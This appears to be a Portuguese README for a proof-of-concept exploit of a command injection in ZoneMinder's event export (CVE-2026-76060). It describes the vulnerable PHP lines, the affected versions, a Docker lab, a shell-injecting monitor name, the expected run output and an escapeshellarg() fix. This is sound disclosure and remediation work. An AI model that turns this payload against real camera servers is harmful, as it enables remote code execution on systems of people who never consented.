
Prova de conceito de exploit para CVE-2026-76060, uma injeção de comandos do sistema operacional na exportação de eventos do ZoneMinder, demonstrando RCE por meio de nomes de monitores manipulados.
Prova de conceito para uma vulnerabilidade de injeção de comandos no sistema operacional na funcionalidade de exportação de eventos do ZoneMinder (web/includes/download_functions.php).
Os nomes dos monitores são interpolados diretamente em comandos shell usando encapsulamento manual com aspas simples em vez de escapeshellarg(). Um atacante que consiga criar um monitor pode injetar comandos shell arbitrários que são executados como www-data/quem quer que seja o usuário do processo quando qualquer usuário aciona uma exportação de evento.
44c5c3c de 4 de outubro de 2023 — é aqui que o arquivo download_functions.php foi introduzido. A mensagem do commit é "Introduce new download mode that concats event videos into 1 file per monitor." O código vulnerável está presente aqui, mas exigia que um administrador criasse o monitor primeiro.2d49e93 de 2 de janeiro de 2024 — "Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones." É aqui que as coisas mudam um pouco. Agora, um usuário com apenas pode configurar o nome do monitor para o ataque, e qualquer usuário com permissões de exportação pode acioná-lo.Monitors=CreateVersões afetadas: >= 1.37.48 (contém as alterações de migração SQL) e <= 1.38.1 O branch 1.36.x não é afetado.
Dois usuários. Dois níveis de privilégio. Um shell.
Monitors=Create ou Monitors=Edit se já existir um monitor lá.O registro do evento não precisa ser criado manualmente. O ZoneMinder é um sistema de câmeras... ele cria registros de eventos automaticamente conforme as câmeras operam. Em uma implantação real, o passo de configuração é: criar o monitor e ir embora.
O nome do monitor sem sanitização chega a duas chamadas exec() separadas:
Linha 126 | ffmpeg:
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);
Linha 150 | tar/zip:
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;
Ambas são alcançáveis a partir do mesmo nome de monitor cuidadosamente elaborado, independentemente do formato de exportação.
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# aguarde o ZoneMinder terminar a inicialização (~30 segundos)
uv run poc.py
O init.sql inicializa o banco de dados com autenticação habilitada e dois usuários:
medpriv com direitos de criação de monitores (e, por questões de tempo, também direitos de criação de eventos, mas isso não é necessário em produção)lowpriv com acesso apenas à exportação de eventosuv run poc.py executa toda a cadeia:
medpriv autentica via API e cria um monitor chamado poc'; touch /tmp/pwned; echo 'medpriv cria um registro de evento para acelerar a demonstração (em produção, o ZoneMinder faz isso automaticamente)lowpriv autentica e aciona uma exportação de evento/tmp/pwned dentro do contêiner e imprime o resultadoSaída esperada:
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1
Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun 6 18:32 /tmp/pwned
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HAV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:NDe qualquer forma, no mínimo escapeshellarg() não custa nada.
b3a7c05[!NOTE] Corrigido em 12 horas após o relato. Sem reconhecimento do mantenedor de que isso é um problema de segurança. Discordo. Atualizado em 27/08/26 — O mantenedor reconheceu o relato e o CVE foi emitido.
Aplique escapeshellarg() em ambos os pontos de injeção, no mínimo:
// Linha 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';
// Linha 150
$command .= ' '.escapeshellarg($mergedFileName);
As linhas 116 e 211 em generateFileList() têm o mesmo padrão.
Descoberto por (@investigato)
Artigo completo: scriptkittens.com